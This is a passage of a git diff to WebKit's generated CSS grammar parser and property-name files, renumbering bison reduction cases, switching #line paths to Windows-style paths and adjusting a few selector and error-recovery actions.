-#line 1057 "../css/CSSGrammar.y"
+#line 1044 "css\\CSSGrammar.y"
     {
         (yyval.integer) = CSSSelector::Exact;
     ;}
     break;
 
-  case 172:
+  case 170:
 
 /* Line 1455 of yacc.c  */
-#line 1060 "../css/CSSGrammar.y"
+#line 1047 "css\\CSSGrammar.y"
     {
         (yyval.integer) = CSSSelector::List;
     ;}
     break;
 
-  case 173:
+  case 171:
 
 /* Line 1455 of yacc.c  */
-#line 1063 "../css/CSSGrammar.y"
+#line 1050 "css\\CSSGrammar.y"
     {
         (yyval.integer) = CSSSelector::Hyphen;
     ;}
     break;
 
-  case 174:
+  case 172:
 
 /* Line 1455 of yacc.c  */
-#line 1066 "../css/CSSGrammar.y"
+#line 1053 "css\\CSSGrammar.y"
     {
         (yyval.integer) = CSSSelector::Begin;
     ;}
     break;
 
-  case 175:
+  case 173:
 
 /* Line 1455 of yacc.c  */
-#line 1069 "../css/CSSGrammar.y"
+#line 1056 "css\\CSSGrammar.y"
     {
         (yyval.integer) = CSSSelector::End;
     ;}
     break;
 
-  case 176:
+  case 174:
 
 /* Line 1455 of yacc.c  */
-#line 1072 "../css/CSSGrammar.y"
+#line 1059 "css\\CSSGrammar.y"
     {
         (yyval.integer) = CSSSelector::Contain;
     ;}
     break;
 
-  case 179:
+  case 177:
 
 /* Line 1455 of yacc.c  */
-#line 1083 "../css/CSSGrammar.y"
+#line 1070 "css\\CSSGrammar.y"
     {
         (yyval.selector) = static_cast<CSSParser*>(parser)->createFloatingSelector();
         (yyval.selector)->m_match = CSSSelector::PseudoClass;
@@ -3445,10 +3500,10 @@ yyreduce:
     ;}
     break;
 
-  case 180:
+  case 178:
 
 /* Line 1455 of yacc.c  */
-#line 1113 "../css/CSSGrammar.y"
+#line 1100 "css\\CSSGrammar.y"
     {
         (yyval.selector) = static_cast<CSSParser*>(parser)->createFloatingSelector();
         (yyval.selector)->m_match = CSSSelector::PseudoElement;
@@ -3470,16 +3525,16 @@ yyreduce:
     ;}
     break;
 
-  case 181:
+  case 179:
 
 /* Line 1455 of yacc.c  */
-#line 1133 "../css/CSSGrammar.y"
+#line 1120 "css\\CSSGrammar.y"
     {
         CSSParser *p = static_cast<CSSParser*>(parser);
         (yyval.selector) = p->createFloatingSelector();
         (yyval.selector)->m_match = CSSSelector::PseudoClass;
-        (yyval.selector)->setArgument((yyvsp[(3) - (4)].string));
-        (yyval.selector)->m_value = (yyvsp[(2) - (4)].string);
+        (yyval.selector)->setArgument((yyvsp[(4) - (6)].string));
+        (yyval.selector)->m_value = (yyvsp[(2) - (6)].string);
         CSSSelector::PseudoType type = (yyval.selector)->pseudoType();
         if (type == CSSSelector::PseudoUnknown)
             (yyval.selector) = 0;
@@ -3493,16 +3548,16 @@ yyreduce:
     ;}
     break;
 
-  case 182:
+  case 180:
 
 /* Line 1455 of yacc.c  */
-#line 1151 "../css/CSSGrammar.y"
+#line 1138 "css\\CSSGrammar.y"
     {
         CSSParser *p = static_cast<CSSParser*>(parser);
         (yyval.selector) = p->createFloatingSelector();
         (yyval.selector)->m_match = CSSSelector::PseudoClass;
-        (yyval.selector)->setArgument(String::number((yyvsp[(3) - (4)].number)));
-        (yyval.selector)->m_value = (yyvsp[(2) - (4)].string);
+        (yyval.selector)->setArgument(String::number((yyvsp[(4) - (7)].integer) * (yyvsp[(5) - (7)].number)));
+        (yyval.selector)->m_value = (yyvsp[(2) - (7)].string);
         CSSSelector::PseudoType type = (yyval.selector)->pseudoType();
         if (type == CSSSelector::PseudoUnknown)
             (yyval.selector) = 0;
@@ -3516,17 +3571,17 @@ yyreduce:
     ;}
     break;
 
-  case 183:
+  case 181:
 
 /* Line 1455 of yacc.c  */
-#line 1169 "../css/CSSGrammar.y"
+#line 1156 "css\\CSSGrammar.y"
     {
         CSSParser *p = static_cast<CSSParser*>(parser);
         (yyval.selector) = p->createFloatingSelector();
         (yyval.selector)->m_match = CSSSelector::PseudoClass;
-        (yyval.selector)->setArgument((yyvsp[(3) - (4)].string));
-        (yyvsp[(2) - (4)].string).lower();
-        (yyval.selector)->m_value = (yyvsp[(2) - (4)].string);
+        (yyval.selector)->setArgument((yyvsp[(4) - (6)].string));
+        (yyvsp[(2) - (6)].string).lower();
+        (yyval.selector)->m_value = (yyvsp[(2) - (6)].string);
         CSSSelector::PseudoType type = (yyval.selector)->pseudoType();
         if (type == CSSSelector::PseudoUnknown)
             (yyval.selector) = 0;
@@ -3540,12 +3595,12 @@ yyreduce:
     ;}
     break;
 
-  case 184:
+  case 182:
 
 /* Line 1455 of yacc.c  */
-#line 1188 "../css/CSSGrammar.y"
+#line 1175 "css\\CSSGrammar.y"
     {
-        if (!(yyvsp[(4) - (6)].selector) || (yyvsp[(4) - (6)].selector)->simpleSelector() || (yyvsp[(4) - (6)].selector)->tagHistory())
+        if (!(yyvsp[(4) - (6)].selector) || (yyvsp[(4) - (6)].selector)->simpleSelector() || (yyvsp[(4) - (6)].selector)->tagHistory() || (yyvsp[(4) - (6)].selector)->matchesPseudoElement())
             (yyval.selector) = 0;
         else {
             CSSParser* p = static_cast<CSSParser*>(parser);
@@ -3558,19 +3613,19 @@ yyreduce:
     ;}
     break;
 
-  case 185:
+  case 183:
 
 /* Line 1455 of yacc.c  */
-#line 1203 "../css/CSSGrammar.y"
+#line 1190 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (1)].boolean);
     ;}
     break;
 
-  case 186:
+  case 184:
 
 /* Line 1455 of yacc.c  */
-#line 1206 "../css/CSSGrammar.y"
+#line 1193 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (2)].boolean);
         if ( (yyvsp[(2) - (2)].boolean) )
@@ -3578,91 +3633,100 @@ yyreduce:
     ;}
     break;
 
-  case 187:
+  case 185:
 
 /* Line 1455 of yacc.c  */
-#line 1211 "../css/CSSGrammar.y"
+#line 1198 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (1)].boolean);
     ;}
     break;
 
-  case 188:
+  case 186:
 
 /* Line 1455 of yacc.c  */
-#line 1214 "../css/CSSGrammar.y"
+#line 1201 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 189:
+  case 187:
 
 /* Line 1455 of yacc.c  */
-#line 1217 "../css/CSSGrammar.y"
+#line 1204 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 190:
+  case 188:
 
 /* Line 1455 of yacc.c  */
-#line 1220 "../css/CSSGrammar.y"
+#line 1207 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (2)].boolean);
     ;}
     break;
 
-  case 191:
+  case 189:
 
 /* Line 1455 of yacc.c  */
-#line 1223 "../css/CSSGrammar.y"
+#line 1210 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (2)].boolean);
     ;}
     break;
 
-  case 192:
+  case 190:
 
 /* Line 1455 of yacc.c  */
-#line 1229 "../css/CSSGrammar.y"
+#line 1216 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (3)].boolean);
     ;}
     break;
 
-  case 193:
+  case 191:
 
 /* Line 1455 of yacc.c  */
-#line 1232 "../css/CSSGrammar.y"
+#line 1219 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 194:
+  case 192:
 
 /* Line 1455 of yacc.c  */
-#line 1235 "../css/CSSGrammar.y"
+#line 1222 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 195:
+  case 193:
 
 /* Line 1455 of yacc.c  */
-#line 1238 "../css/CSSGrammar.y"
+#line 1225 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 196:
+  case 194:
+
+/* Line 1455 of yacc.c  */
+#line 1228 "css\\CSSGrammar.y"
+    {
+        (yyval.boolean) = false;
+    ;}
+    break;
+
+  case 195:
 
 /* Line 1455 of yacc.c  */
-#line 1241 "../css/CSSGrammar.y"
+#line 1231 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (4)].boolean);
         if ((yyvsp[(2) - (4)].boolean))
@@ -3670,28 +3734,28 @@ yyreduce:
     ;}
     break;
 
-  case 197:
+  case 196:
 
 /* Line 1455 of yacc.c  */
-#line 1246 "../css/CSSGrammar.y"
+#line 1236 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (4)].boolean);
     ;}
     break;
 
-  case 198:
+  case 197:
 
 /* Line 1455 of yacc.c  */
-#line 1249 "../css/CSSGrammar.y"
+#line 1239 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = (yyvsp[(1) - (6)].boolean);
     ;}
     break;
 
-  case 199:
+  case 198:
 
 /* Line 1455 of yacc.c  */
-#line 1255 "../css/CSSGrammar.y"
+#line 1245 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
         CSSParser* p = static_cast<CSSParser*>(parser);
@@ -3707,10 +3771,10 @@ yyreduce:
     ;}
     break;
 
-  case 200:
+  case 199:
 
 /* Line 1455 of yacc.c  */
-#line 1269 "../css/CSSGrammar.y"
+#line 1259 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         p->m_valueList = new CSSParserValueList;
@@ -3724,19 +3788,19 @@ yyreduce:
     ;}
     break;
 
-  case 201:
+  case 200:
 
 /* Line 1455 of yacc.c  */
-#line 1281 "../css/CSSGrammar.y"
+#line 1271 "css\\CSSGrammar.y"
     {
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 202:
+  case 201:
 
 /* Line 1455 of yacc.c  */
-#line 1285 "../css/CSSGrammar.y"
+#line 1275 "css\\CSSGrammar.y"
     {
         /* The default movable type template has letter-spacing: .none;  Handle this by looking for
         error tokens at the start of an expr, recover the expr and then treat as an error, cleaning
@@ -3745,83 +3809,83 @@ yyreduce:
     ;}
     break;
 
-  case 203:
+  case 202:
 
 /* Line 1455 of yacc.c  */
-#line 1292 "../css/CSSGrammar.y"
+#line 1282 "css\\CSSGrammar.y"
     {
         /* When we encounter something like p {color: red !important fail;} we should drop the declaration */
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 204:
+  case 203:
 
 /* Line 1455 of yacc.c  */
-#line 1297 "../css/CSSGrammar.y"
+#line 1287 "css\\CSSGrammar.y"
     {
         /* Handle this case: div { text-align: center; !important } Just reduce away the stray !important. */
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 205:
+  case 204:
 
 /* Line 1455 of yacc.c  */
-#line 1302 "../css/CSSGrammar.y"
+#line 1292 "css\\CSSGrammar.y"
     {
         /* div { font-family: } Just reduce away this property with no value. */
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 206:
+  case 205:
 
 /* Line 1455 of yacc.c  */
-#line 1307 "../css/CSSGrammar.y"
+#line 1297 "css\\CSSGrammar.y"
     {
         /* if we come across rules with invalid values like this case: p { weight: *; }, just discard the rule */
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 207:
+  case 206:
 
 /* Line 1455 of yacc.c  */
-#line 1312 "../css/CSSGrammar.y"
+#line 1302 "css\\CSSGrammar.y"
     {
         /* if we come across: div { color{;color:maroon} }, ignore everything within curly brackets */
         (yyval.boolean) = false;
     ;}
     break;
 
-  case 208:
+  case 207:
 
 /* Line 1455 of yacc.c  */
-#line 1319 "../css/CSSGrammar.y"
+#line 1309 "css\\CSSGrammar.y"
     {
         (yyval.integer) = cssPropertyID((yyvsp[(1) - (2)].string));
     ;}
     break;
 
-  case 209:
+  case 208:
 
 /* Line 1455 of yacc.c  */
-#line 1325 "../css/CSSGrammar.y"
+#line 1315 "css\\CSSGrammar.y"
     { (yyval.boolean) = true; ;}
     break;
 
-  case 210:
+  case 209:
 
 /* Line 1455 of yacc.c  */
-#line 1326 "../css/CSSGrammar.y"
+#line 1316 "css\\CSSGrammar.y"
     { (yyval.boolean) = false; ;}
     break;
 
-  case 211:
+  case 210:
 
 /* Line 1455 of yacc.c  */
-#line 1330 "../css/CSSGrammar.y"
+#line 1320 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyval.valueList) = p->createFloatingValueList();
@@ -3829,10 +3893,10 @@ yyreduce:
     ;}
     break;
 
-  case 212:
+  case 211:
 
 /* Line 1455 of yacc.c  */
-#line 1335 "../css/CSSGrammar.y"
+#line 1325 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         (yyval.valueList) = (yyvsp[(1) - (3)].valueList);
@@ -3849,10 +3913,19 @@ yyreduce:
     ;}
     break;
 
+  case 212:
+
+/* Line 1455 of yacc.c  */
+#line 1339 "css\\CSSGrammar.y"
+    {
+        (yyval.valueList) = 0;
+    ;}
+    break;
+
   case 213:
 
 /* Line 1455 of yacc.c  */
-#line 1349 "../css/CSSGrammar.y"
+#line 1342 "css\\CSSGrammar.y"
     {
         (yyval.valueList) = 0;
     ;}
@@ -3861,55 +3934,64 @@ yyreduce:
   case 214:
 
 /* Line 1455 of yacc.c  */
-#line 1355 "../css/CSSGrammar.y"
+#line 1345 "css\\CSSGrammar.y"
     {
-        (yyval.character) = '/';
+        (yyval.valueList) = 0;
     ;}
     break;
 
   case 215:
 
 /* Line 1455 of yacc.c  */
-#line 1358 "../css/CSSGrammar.y"
+#line 1351 "css\\CSSGrammar.y"
     {
-        (yyval.character) = ',';
+        (yyval.character) = '/';
     ;}
     break;
 
   case 216:
 
 /* Line 1455 of yacc.c  */
-#line 1361 "../css/CSSGrammar.y"
+#line 1354 "css\\CSSGrammar.y"
+    {
+        (yyval.character) = ',';
+    ;}
+    break;
+
+  case 217:
+
+/* Line 1455 of yacc.c  */
+#line 1357 "css\\CSSGrammar.y"
     {
         (yyval.character) = 0;
   ;}
     break;
 
-  case 217:
+  case 218:
 
 /* Line 1455 of yacc.c  */
-#line 1367 "../css/CSSGrammar.y"
+#line 1363 "css\\CSSGrammar.y"
     { (yyval.value) = (yyvsp[(1) - (1)].value); ;}
     break;
 
-  case 218:
+  case 219:
 
 /* Line 1455 of yacc.c  */
-#line 1368 "../css/CSSGrammar.y"
+#line 1364 "css\\CSSGrammar.y"
     { (yyval.value) = (yyvsp[(2) - (2)].value); (yyval.value).fValue *= (yyvsp[(1) - (2)].integer); ;}
     break;
 
-  case 219:
+  case 220:
 
 /* Line 1455 of yacc.c  */
-#line 1369 "../css/CSSGrammar.y"
+#line 1365 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).string = (yyvsp[(1) - (2)].string); (yyval.value).unit = CSSPrimitiveValue::CSS_STRING; ;}
     break;
 
-  case 220:
+  case 221:
 
 /* Line 1455 of yacc.c  */
-#line 1370 "../css/CSSGrammar.y"
+#line 1366 "css\\CSSGrammar.y"
     {
       (yyval.value).id = cssValueKeywordID((yyvsp[(1) - (2)].string));
       (yyval.value).unit = CSSPrimitiveValue::CSS_IDENT;
@@ -3917,219 +3999,219 @@ yyreduce:
   ;}
     break;
 
-  case 221:
+  case 222:
 
 /* Line 1455 of yacc.c  */
-#line 1376 "../css/CSSGrammar.y"
+#line 1372 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).string = (yyvsp[(1) - (2)].string); (yyval.value).unit = CSSPrimitiveValue::CSS_DIMENSION; ;}
     break;
 
-  case 222:
+  case 223:
 
 /* Line 1455 of yacc.c  */
-#line 1377 "../css/CSSGrammar.y"
+#line 1373 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).string = (yyvsp[(2) - (3)].string); (yyval.value).unit = CSSPrimitiveValue::CSS_DIMENSION; ;}
     break;
 
-  case 223:
+  case 224:
 
 /* Line 1455 of yacc.c  */
-#line 1378 "../css/CSSGrammar.y"
+#line 1374 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).string = (yyvsp[(1) - (2)].string); (yyval.value).unit = CSSPrimitiveValue::CSS_URI; ;}
     break;
 
-  case 224:
+  case 225:
 
 /* Line 1455 of yacc.c  */
-#line 1379 "../css/CSSGrammar.y"
+#line 1375 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).string = (yyvsp[(1) - (2)].string); (yyval.value).unit = CSSPrimitiveValue::CSS_UNICODE_RANGE; ;}
     break;
 
-  case 225:
+  case 226:
 
 /* Line 1455 of yacc.c  */
-#line 1380 "../css/CSSGrammar.y"
+#line 1376 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).string = (yyvsp[(1) - (1)].string); (yyval.value).unit = CSSPrimitiveValue::CSS_PARSER_HEXCOLOR; ;}
     break;
 
-  case 226:
+  case 227:
 
 /* Line 1455 of yacc.c  */
-#line 1381 "../css/CSSGrammar.y"
+#line 1377 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).string = CSSParserString(); (yyval.value).unit = CSSPrimitiveValue::CSS_PARSER_HEXCOLOR; ;}
     break;
 
-  case 227:
+  case 228:
 
 /* Line 1455 of yacc.c  */
-#line 1383 "../css/CSSGrammar.y"
+#line 1379 "css\\CSSGrammar.y"
     {
       (yyval.value) = (yyvsp[(1) - (1)].value);
   ;}
     break;
 
-  case 228:
+  case 229:
 
 /* Line 1455 of yacc.c  */
-#line 1386 "../css/CSSGrammar.y"
+#line 1382 "css\\CSSGrammar.y"
     {
       (yyval.value) = (yyvsp[(1) - (2)].value);
   ;}
     break;
 
-  case 229:
+  case 230:
 
 /* Line 1455 of yacc.c  */
-#line 1389 "../css/CSSGrammar.y"
+#line 1385 "css\\CSSGrammar.y"
     { /* Handle width: %; */
       (yyval.value).id = 0; (yyval.value).unit = 0;
   ;}
     break;
 
-  case 230:
+  case 231:
 
 /* Line 1455 of yacc.c  */
-#line 1395 "../css/CSSGrammar.y"
+#line 1391 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).isInt = true; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_NUMBER; ;}
     break;
 
-  case 231:
+  case 232:
 
 /* Line 1455 of yacc.c  */
-#line 1396 "../css/CSSGrammar.y"
+#line 1392 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).isInt = false; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_NUMBER; ;}
     break;
 
-  case 232:
+  case 233:
 
 /* Line 1455 of yacc.c  */
-#line 1397 "../css/CSSGrammar.y"
+#line 1393 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_PERCENTAGE; ;}
     break;
 
-  case 233:
+  case 234:
 
 /* Line 1455 of yacc.c  */
-#line 1398 "../css/CSSGrammar.y"
+#line 1394 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_PX; ;}
     break;
 
-  case 234:
+  case 235:
 
 /* Line 1455 of yacc.c  */
-#line 1399 "../css/CSSGrammar.y"
+#line 1395 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_CM; ;}
     break;
 
-  case 235:
+  case 236:
 
 /* Line 1455 of yacc.c  */
-#line 1400 "../css/CSSGrammar.y"
+#line 1396 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_MM; ;}
     break;
 
-  case 236:
+  case 237:
 
 /* Line 1455 of yacc.c  */
-#line 1401 "../css/CSSGrammar.y"
+#line 1397 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_IN; ;}
     break;
 
-  case 237:
+  case 238:
 
 /* Line 1455 of yacc.c  */
-#line 1402 "../css/CSSGrammar.y"
+#line 1398 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_PT; ;}
     break;
 
-  case 238:
+  case 239:
 
 /* Line 1455 of yacc.c  */
-#line 1403 "../css/CSSGrammar.y"
+#line 1399 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_PC; ;}
     break;
 
-  case 239:
+  case 240:
 
 /* Line 1455 of yacc.c  */
-#line 1404 "../css/CSSGrammar.y"
+#line 1400 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_DEG; ;}
     break;
 
-  case 240:
+  case 241:
 
 /* Line 1455 of yacc.c  */
-#line 1405 "../css/CSSGrammar.y"
+#line 1401 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_RAD; ;}
     break;
 
-  case 241:
+  case 242:
 
 /* Line 1455 of yacc.c  */
-#line 1406 "../css/CSSGrammar.y"
+#line 1402 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_GRAD; ;}
     break;
 
-  case 242:
+  case 243:
 
 /* Line 1455 of yacc.c  */
-#line 1407 "../css/CSSGrammar.y"
+#line 1403 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_TURN; ;}
     break;
 
-  case 243:
+  case 244:
 
 /* Line 1455 of yacc.c  */
-#line 1408 "../css/CSSGrammar.y"
+#line 1404 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_MS; ;}
     break;
 
-  case 244:
+  case 245:
 
 /* Line 1455 of yacc.c  */
-#line 1409 "../css/CSSGrammar.y"
+#line 1405 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_S; ;}
     break;
 
-  case 245:
+  case 246:
 
 /* Line 1455 of yacc.c  */
-#line 1410 "../css/CSSGrammar.y"
+#line 1406 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_HZ; ;}
     break;
 
-  case 246:
+  case 247:
 
 /* Line 1455 of yacc.c  */
-#line 1411 "../css/CSSGrammar.y"
+#line 1407 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_KHZ; ;}
     break;
 
-  case 247:
+  case 248:
 
 /* Line 1455 of yacc.c  */
-#line 1412 "../css/CSSGrammar.y"
+#line 1408 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_EMS; ;}
     break;
 
-  case 248:
+  case 249:
 
 /* Line 1455 of yacc.c  */
-#line 1413 "../css/CSSGrammar.y"
+#line 1409 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSParserValue::Q_EMS; ;}
     break;
 
-  case 249:
+  case 250:
 
 /* Line 1455 of yacc.c  */
-#line 1414 "../css/CSSGrammar.y"
+#line 1410 "css\\CSSGrammar.y"
     { (yyval.value).id = 0; (yyval.value).fValue = (yyvsp[(1) - (2)].number); (yyval.value).unit = CSSPrimitiveValue::CSS_EXS; ;}
     break;
 
-  case 250:
+  case 251:
 
 /* Line 1455 of yacc.c  */
-#line 1415 "../css/CSSGrammar.y"
+#line 1411 "css\\CSSGrammar.y"
     {
       (yyval.value).id = 0;
       (yyval.value).fValue = (yyvsp[(1) - (2)].number);
@@ -4140,10 +4222,10 @@ yyreduce:
   ;}
     break;
 
-  case 251:
+  case 252:
 
 /* Line 1455 of yacc.c  */
-#line 1426 "../css/CSSGrammar.y"
+#line 1422 "css\\CSSGrammar.y"
     {
       (yyval.value).id = 0;
       (yyval.value).string = (yyvsp[(1) - (1)].string);
@@ -4151,10 +4233,10 @@ yyreduce:
   ;}
     break;
 
-  case 252:
+  case 253:
 
 /* Line 1455 of yacc.c  */
-#line 1434 "../css/CSSGrammar.y"
+#line 1430 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         CSSParserFunction* f = p->createFloatingFunction();
@@ -4166,10 +4248,10 @@ yyreduce:
     ;}
     break;
 
-  case 253:
+  case 254:
 
 /* Line 1455 of yacc.c  */
-#line 1443 "../css/CSSGrammar.y"
+#line 1439 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         CSSParserFunction* f = p->createFloatingFunction();
@@ -4181,87 +4263,87 @@ yyreduce:
   ;}
     break;
 
-  case 254:
+  case 255:
 
 /* Line 1455 of yacc.c  */
-#line 1459 "../css/CSSGrammar.y"
+#line 1455 "css\\CSSGrammar.y"
     { (yyval.string) = (yyvsp[(1) - (2)].string); ;}
     break;
 
-  case 255:
+  case 256:
 
 /* Line 1455 of yacc.c  */
-#line 1460 "../css/CSSGrammar.y"
+#line 1456 "css\\CSSGrammar.y"
     { (yyval.string) = (yyvsp[(1) - (2)].string); ;}
     break;
 
-  case 256:
+  case 257:
 
 /* Line 1455 of yacc.c  */
-#line 1467 "../css/CSSGrammar.y"
+#line 1463 "css\\CSSGrammar.y"
     {
         (yyval.rule) = 0;
     ;}
     break;
 
-  case 257:
+  case 258:
 
 /* Line 1455 of yacc.c  */
-#line 1470 "../css/CSSGrammar.y"
+#line 1466 "css\\CSSGrammar.y"
     {
         (yyval.rule) = 0;
     ;}
     break;
 
-  case 258:
+  case 259:
 
 /* Line 1455 of yacc.c  */
-#line 1476 "../css/CSSGrammar.y"
+#line 1472 "css\\CSSGrammar.y"
     {
         (yyval.rule) = 0;
     ;}
     break;
 
-  case 259:
+  case 260:
 
 /* Line 1455 of yacc.c  */
-#line 1479 "../css/CSSGrammar.y"
+#line 1475 "css\\CSSGrammar.y"
     {
         (yyval.rule) = 0;
     ;}
     break;
 
-  case 262:
+  case 261:
 
 /* Line 1455 of yacc.c  */
-#line 1490 "../css/CSSGrammar.y"
+#line 1481 "css\\CSSGrammar.y"
     {
         (yyval.rule) = 0;
     ;}
     break;
 
-  case 263:
+  case 262:
 
 /* Line 1455 of yacc.c  */
-#line 1496 "../css/CSSGrammar.y"
+#line 1499 "css\\CSSGrammar.y"
     {
-        (yyval.rule) = 0;
+        static_cast<CSSParser*>(parser)->invalidBlockHit();
     ;}
     break;
 
-  case 264:
+  case 263:
 
 /* Line 1455 of yacc.c  */
-#line 1502 "../css/CSSGrammar.y"
+#line 1502 "css\\CSSGrammar.y"
     {
-        (yyval.rule) = 0;
+        static_cast<CSSParser*>(parser)->invalidBlockHit();
     ;}
     break;
 
 
 
 /* Line 1455 of yacc.c  */
-#line 4265 "WebCore/tmp/../generated/CSSGrammar.tab.c"
+#line 4347 "C:/dev/webkit-2.0/WebCore/generated/CSSGrammar.tab.c"
       default: break;
     }
   YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc);
@@ -4473,6 +4555,6 @@ yyreturn:
 
 
 /* Line 1675 of yacc.c  */
-#line 1529 "../css/CSSGrammar.y"
+#line 1512 "css\\CSSGrammar.y"
 
 
diff --git a/src/3rdparty/webkit/WebCore/generated/CSSGrammar.h b/src/3rdparty/webkit/WebCore/generated/CSSGrammar.h
index ad6b20a..31d6cce 100644
--- a/src/3rdparty/webkit/WebCore/generated/CSSGrammar.h
+++ b/src/3rdparty/webkit/WebCore/generated/CSSGrammar.h
@@ -115,7 +115,7 @@ typedef union YYSTYPE
 {
 
 /* Line 1676 of yacc.c  */
-#line 62 "../css/CSSGrammar.y"
+#line 62 "css\\CSSGrammar.y"
 
     bool boolean;
     char character;
@@ -142,7 +142,7 @@ typedef union YYSTYPE
 
 
 /* Line 1676 of yacc.c  */
-#line 144 "WebCore/tmp/../generated/CSSGrammar.tab.h"
+#line 144 "C:/dev/webkit-2.0/WebCore/generated/CSSGrammar.tab.h"
 } YYSTYPE;
 # define YYSTYPE_IS_TRIVIAL 1
 # define yystype YYSTYPE /* obsolescent; will be withdrawn */
diff --git a/src/3rdparty/webkit/WebCore/generated/CSSPropertyNames.cpp b/src/3rdparty/webkit/WebCore/generated/CSSPropertyNames.cpp
index 919eb24..e6ed010 100644
--- a/src/3rdparty/webkit/WebCore/generated/CSSPropertyNames.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/CSSPropertyNames.cpp
@@ -1,4 +1,4 @@
-/* ANSI-C code produced by gperf version 3.0.3 */
+/* ANSI-C code produced by gperf version 3.0.1 */
 /* Command-line: gperf -a -L ANSI-C -E -C -c -o -t --key-positions='*' -NfindProp -Hhash_prop -Wwordlist_prop -D -s 2 CSSPropertyNames.gperf  */
 
 #if !((' ' == 32) && ('!' == 33) && ('"' == 34) && ('#' == 35) \
@@ -37,7 +37,7 @@ struct props {
     const char* name;
     int id;
 };
-/* maximum key range = 1808, duplicates = 0 */
+/* maximum key range = 2138, duplicates = 0 */
 
